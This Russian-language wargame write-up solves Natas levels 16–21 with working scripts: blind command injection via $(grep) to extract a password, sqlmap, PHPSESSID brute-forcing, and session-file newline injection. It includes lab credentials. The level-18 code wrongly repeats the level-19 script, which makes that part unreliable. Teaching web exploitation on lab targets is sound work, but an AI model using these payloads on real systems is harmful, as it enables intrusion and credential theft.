![image](https://habrastorage.org/webt/_-/zf/_u/_-zf_uvvs6ypsybfrqslsnqwx8k.png)
В данной статье мы разберемся с эксплуатацией некоторых WEB-узвимостей на примере прохождения варгейма Natas. Каждый уровень имеет доступ к паролю следующего уровня. Все пароли также хранятся в файлах /etc/natas_webpass/. Например, пароль для natas5 хранится в файле /etc/natas_webpass/natas5 и доступен для чтения только для пользователей natas4 и natas5.
Прошлые части: часть 1 и часть 2.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
level 16
Судя по исходному коду, все служебные символы фильтруются, а передача «склейки» из двух файлов невозможна, так как строка передается в кавычках.
![image](https://habrastorage.org/webt/w2/2k/na/w22knazwp56mwnbngg-yz_1c3ke.png)
Используя конструкции типа $(cmd) можно контролировать вывод «key».
![image](https://habrastorage.org/webt/4e/84/9r/4e849rjcpqd7kxrwefcglrsycsk.png)
Идея такая:
- Если в конструкции grep -i «key» file.txt, key – пустая строка, то будет выводиться весь файл.
- Так как в файле с паролем всего одна строка, то мы можем контролировать ее вывод.
- За счет передачи регулярного выражения в grep внутри конструкции $(cmd), у нас либо будет выводиться строка с паролем (когда мы угадываем начало пароля) в параметр -i и из фала dictionary.txt не будет выведено ни одной строки, либо вместо строки с паролем будет пустая строка и будет выведен весь файл dictionary.txt.
import httplib
import urllib
import re
import base64
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
count = 0
headers = {}
conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org")
headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA=="
count = 0
passwd = ""
while count != 32:
for i in range(len(charset)):
needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr")
conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers)
r1 = conn.getresponse()
data = r1.read()
if(data.count("African") == 0):
passwd += charset[i:i+1]
print(str(count) + " : " + str(passwd))
count += 1
break
conn.close()
print("Password : " + passwd)
![image](https://habrastorage.org/webt/3-/i_/sp/3-i_spwif-dk_ui_incjayrvx4a.png)
Получили пароль.
level 17
Используем sqlmap по прошлому сценарию (из второй части).
![image](https://habrastorage.org/webt/yj/nc/yp/yjncypi2t2cg6seagglk-pnkzhu.png)
![image](https://habrastorage.org/webt/pf/h9/oa/pfh9oagrdrnjimgoouxrpaunyaw.png)
![image](https://habrastorage.org/webt/0d/zl/wb/0dzlwbvmydfs_x3pcoppptidtfk.png)
Есть пароль.
level 18
Разберем исходный код.
![image](https://habrastorage.org/webt/o8/qj/iv/o8qjiv14loto3amsc2zhjki9l1e.png)
Первым делом идет проверка, выставлены ли в браузере куки.(функция my_session_start()).
![image](https://habrastorage.org/webt/xm/rx/jg/xmrxjgiigobrm1d2zet8o7nnios.png)
Так как в задании управлять кроме куки нечем, значит они должны быть выставлены, т. е. функция вернет false и в корневом коде мы пойдем в ветку else. Проверка заполнения полей username и password. Функция session_id() принимает случайное число в диапазоне от 1 до 640 (что очень странно, почему такое ограничение) и создает устанавливает конфигурации для функции session_start().
![image](https://habrastorage.org/webt/wk/lx/rn/wklxrnkgxmc06kc1cfjjoff-qae.png)
![image](https://habrastorage.org/webt/lr/qq/q_/lrqqq_zx9577fjxov4bdpkbqrtc.png)
Далее проверяется username == «admin». Если мы зашли как админ, то нам об этом сообщают и дают пароль для следующего уровня.
![image](https://habrastorage.org/webt/3w/fj/id/3wfjid6o0070ju2bd0mkzim-qly.png)
Идея решения: для пользоватлей определен диапазон id. Напишем брутфорсер, который будет заходить на страницу c id в диапазоне от 1 до 640.
import requests
from requests.auth import HTTPBasicAuth
import binascii
host = 'http://natas19.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs')
params = {'username':'admin', 'password':'admin'}
for i in range(0, 640):
print(i)
phpsessid = binascii.hexlify(str(i)+"-admin")
cookies={'PHPSESSID':phpsessid}
r = requests.get(host, params=params, cookies=cookies, auth=auth)
if('Password' in r.content):
print(r.content)
break
![image](https://habrastorage.org/webt/-d/a4/4h/-da44huvmyzvwjesomv4wyrsurq.png)
Получаем пароль при id = 119.
level 19
Так как код один и тот же, то и идея та же. Посмотрим cookie.
![image](https://habrastorage.org/webt/4h/ul/p7/4hulp7gtz1gtlyi5wo5p0z_xrwi.png)
Сторока в hex кодировке. Раскодируем.
![image](https://habrastorage.org/webt/wy/o4/pa/wyo4paauuonevkougi3-gihz6k4.png)
Осталось просто изменить код.
import requests
from requests.auth import HTTPBasicAuth
import binascii
host = 'http://natas19.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs')
params = {'username':'admin', 'password':'admin'}
for i in range(0, 640):
print(i)
phpsessid = binascii.hexlify(str(i)+"-admin")
cookies={'PHPSESSID':phpsessid}
r = requests.get(host, params=params, cookies=cookies, auth=auth)
if('Password' in r.content):
print(r.content)
break
![image](https://habrastorage.org/webt/sd/ca/ju/sdcaju4imrt0guvfc3imae2eons.png)
Есть пароль.
level 20
После анализа исходного кода можно предположить, что внимания заслуживают 2 функции.
Функция mywrite() записывает данные на каждой строке как ключ_значение. Но ключ выбирается случайно, а значение передается из поля ввода.
![image](https://habrastorage.org/webt/x3/__/sv/x3__svsb0elbqhfupby-3qslupm.png)
Функция myread() проходит по всем строками считывает разделенные пробелом данные (ключ и значение).
![image](https://habrastorage.org/webt/sc/gq/ts/scgqtsiynqcwthgtk2l8y-chpyy.png)
Мы увидим пароль только если в таком файле окажется строка «admin 1». Дело в том, что мы можем обойти логику приложения и записать сколько строк, сколько захотим. Для этого мы должны послать строку вида «Значение0_ПереводСтроки_Ключ1_Значение1 и т.д.»
![image](https://habrastorage.org/webt/2p/5u/gl/2p5uglpfjdxfco5mhgnm7yaus9m.png)
После того как значение запишется в файл, перезагрузим страницу, чтобы оно считалось из файла.
![image](https://habrastorage.org/webt/aj/dl/64/ajdl641oongu8sx7ltdv7jnewxe.png)
Забираем пароль.
level 21
Нам предоставляют две версии сайта. Дело в том, что cookie и session доступны для передачи между разными страницами на одном домене. Изучаем исходный код второго сайта. В сессию устанавливаются все принятые параметры. По аналогии с прошлыми уровнями следует установить admin => 1.
![image](https://habrastorage.org/webt/k1/e2/vk/k1e2vkudfqtzrshivp910vry9w0.png)
Просто добавим новый параметр admin со значением 1, перезагрузим страницу и выставим эти cookie на главную страницу.
![image](https://habrastorage.org/webt/vv/xz/2n/vvxz2n8p9qtdbzm26uf5s5h4_li.png)
![image](https://habrastorage.org/webt/nd/31/lo/nd31long3cmxrqdlq_d0mm8hmq0.png)
Забираем пароль.
Продолжение следует. Вы можете присоединиться к нам в Telegram.